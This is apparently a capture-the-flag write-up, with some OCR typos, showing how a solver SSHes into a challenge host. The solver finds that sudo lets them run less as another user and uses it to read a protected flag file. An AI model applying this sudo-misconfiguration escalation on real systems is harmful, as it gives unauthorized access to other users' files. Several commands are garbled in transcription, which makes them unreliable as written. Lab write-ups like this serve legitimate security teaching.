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we are given an ssh key and an endpoint to connect to as 35.239.205.196:22 NOW
we can connect using ssh.

) ssh -i id_ecdsa user@35.239.205.196
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 4.19.150+ x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

user@20sudoers1610851480467901769-76bc944c64-74c27:~$

now when we run sudo -1 we can see that we can run the command 1ess as the
user ctf

user@20sudoers1610851480467901769-76bc944c64-74c27:~$ sudo -1
Matching Defaults entries for user on 20sudoers1610851480467901769-76bc944c64-74c27:
env_reset, mail badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin

\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on 20sudoers1610851480467901769-76bc944c64-7
4c27:

(ctf : ctf) NOPASSWD: /usr/bin/less
user@20sudoers1610851480467901769-76bc944c64-74c27:~$
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now we can abuse this configuration to read the flag file which is only readable

by the user

user@20sudoers1610851480467901769-76bc944c64-74c27:/home/ctf$ 1s

flag
user@20sudoers1610851480467901769-76bc944c64-74c27:/home/ctf$ cat flag

cat: flag: Permission denied
user@20sudoers1610851480467901769-76bc944c64-74c27:/home/ctf$ sudo -u ctf less flag

ctF{!insIcurd_sudb}
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